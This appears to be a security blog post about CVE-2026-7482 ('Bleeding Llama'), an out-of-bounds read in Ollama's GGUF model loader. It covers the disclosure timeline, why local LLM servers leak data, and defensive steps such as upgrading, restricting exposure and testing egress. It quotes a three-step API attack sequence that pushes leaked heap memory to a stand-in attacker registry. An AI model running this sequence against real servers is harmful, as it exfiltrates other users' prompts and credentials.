Your Local LLM Is Not as Private as You Think

Cyera Research disclosed a critical vulnerability in Ollama, a popular tool for running large language models locally. Tracked as CVE-2026-7482 with a CVSS score of 9.1, the flaw allows attackers to leak sensitive data from process memory through malicious model files. The vulnerability challenges the assumption that local LLM execution guarantees privacy, as Ollama servers may expose prompts, API keys, and other data.

Running an LLM locally feels like a privacy win. No cloud API. No third-party model provider. No prompts leaving your own machine. That assumption is comforting. It is also incomplete. In May 2026, Cyera Research disclosed a critical vulnerability in Ollama called Bleeding Llama. Ollama is one of the most popular ways to run open-source models locally. Developers use it to run models like Llama, Mistral, and others on laptops, workstations, and internal servers. The vulnerability is tracked as CVE-2026-7482. It affects Ollama versions before 0.17.1 and has been scored 9.1 Critical by Echo CNA. The issue matters because it challenges a common assumption about local AI systems: if the model runs locally, the data is private. Bleeding Llama shows why that is not enough. At a technical level, Bleeding Llama is a heap out-of-bounds read in Ollama's GGUF model loading path. That sounds like a traditional memory-safety bug, and in one sense it is. The underlying weakness is CWE-125: Out-of-bounds Read. The AI-specific impact comes from where the bug lives. Ollama servers may hold prompts, system prompts, tool outputs, environment variables, API keys, and data from multiple users in process memory. If that memory leaks, the model does not have to reveal anything intentionally. The infrastructure leaks it first. According to Cyera, exploitation can be done with three unauthenticated API calls: Step 1: Upload malicious GGUF file with inflated tensor metadata POST /api/blobs/sha256:<hash Step 2: Create model — triggers out-of-bounds heap read POST /api/create {"name": "exfil-model", "files": "<blob-hash " } Step 3: Push model with leaked heap data to attacker registry POST /api/push {"name": "registry.attacker.com/leaked-model"} An attacker uploads a malicious GGUF file. The file declares tensor metadata that does not match the actual file size. Ollama then processes that file during model creation. The vulnerable path reads past the expected buffer and copies unrelated heap memory into the resulting model artifact. The attacker then uses Ollama's /api/push endpoint to push that model artifact to an attacker-controlled registry. No password is required. No user interaction is required. The server does not need to crash. That is what makes this vulnerability especially troubling. It is not just that memory can leak. It is that the leak can be packaged into a normal-looking model operation. Ollama is designed for local use. That is part of its appeal. A developer can install it, pull a model, and start experimenting quickly. In a laptop-only setup bound to localhost, the risk profile is very different from a shared or exposed server. The problem is how local tools often become team infrastructure. A developer starts with a local experiment. Then a teammate wants access. Then the service gets bound to a broader network interface. Then it becomes part of a demo environment, internal tool, notebook server, CI workflow, or shared AI gateway. At that point, the word local becomes misleading. The model may still be running on hardware your team controls, but the service is now reachable by other systems. It has endpoints. It has model loading paths. It has egress behavior. It has access to secrets, prompts, and tool output. That is no longer just a local model. It is infrastructure. And infrastructure needs security testing. Bleeding Llama also shows a second problem: security visibility. Cyera's timeline says the vulnerability was reported to Ollama on February 2, 2026. A fix was acknowledged on February 25. CVE assignment and public visibility came later. The practical result is that operators had a gap between patch availability and clear security awareness. That matters. If a release note does not clearly flag a security fix, teams may treat the update as routine. If scanners do not have a CVE yet, patch management systems may not escalate it. If the affected software is treated as a developer convenience tool rather than production infrastructure, it may not be tracked closely at all. This is how AI infrastructure becomes risky in practice. The dangerous systems are not always the ones officially labeled production. Sometimes they are the experimental servers that became useful, stayed online, and quietly moved closer to sensitive data. If your team runs Ollama, start with the basics. Upgrade to version 0.17.1 or later. Confirm that Ollama is not exposed to the public internet. Check whether the service is bound only to localhost or to a broader interface. Place authentication in front of any deployment that is reachable by other users or systems. Review whether the Ollama process has access to cloud credentials, API tokens, database credentials, or other secrets. Watch for model push behavior that should not be happening. Those are immediate checks. They are not the full testing strategy. The broader lesson is that model-serving infrastructure needs the same scrutiny as any other server that processes sensitive data. If a system can load untrusted model files, test the model loading path. If it exposes model creation endpoints, test whether those endpoints require authentication. If it can push model artifacts to external locations, test egress controls. If it runs with access to secrets, test the blast radius of process memory exposure. The model output is only one part of the risk. QA teams often approach AI testing through the prompt layer. Does the model answer correctly? Does it follow product rules? Does it refuse unsafe requests? Does it expose sensitive data in its response? Those tests matter. They are just not enough. Bleeding Llama is not a case where the model chooses to reveal a secret. It is a case where the infrastructure around the model can expose memory that should never leave the server. That changes the test plan. QA and security teams should test where data flows, where it is stored, who can reach it, and what happens when an attacker controls part of the input path. For a local LLM server, that means testing exposed endpoints, model import behavior, authentication, egress behavior, secrets placement, logging, update visibility, and version tracking. It also means treating model files as untrusted input. A model artifact is not just data. It exercises parsers, converters, loaders, quantizers, and file handling code. If your product accepts model files or pulls them from external registries, those paths belong in the security test plan. Bleeding Llama is not only an Ollama story. It is part of a larger pattern in AI infrastructure. Tools built for developer convenience get adopted quickly. They move from laptops to shared servers. They connect to coding agents, internal tools, data pipelines, and knowledge bases. Then they become part of the product without always getting the hardening expected of production systems. The result is a gap between how the tool was designed and how it is used. That gap is where security failures live. Running a model yourself can reduce some risks. It can keep data away from third-party APIs. It can give teams more control over deployment and retention. But it also creates new responsibilities. You now own the server. You own the network exposure. You own the update process. You own the secrets available to that process. You own the model loading path. Local control is useful. It is not a substitute for security testing. The model does not need to say anything wrong for the system to leak data. The infrastructure just has to trust the wrong input. That is the real lesson from Bleeding Llama. AI security testing cannot stop at the prompt layer. Once an LLM server becomes part of the product, it becomes part of the attack surface. If that server holds prompts, system prompts, tool outputs, credentials, and private data in memory, then memory is a sensitive data store. Test it like one. I write about AI security incidents and what they mean for QA and security teams in my newsletter, AI Leak Watch. If you work on QA or security for products that use LLMs, my course AI Security Testing: Finding Sensitive Data Leaks OWASP LLM-02 covers the testing methodology in depth. References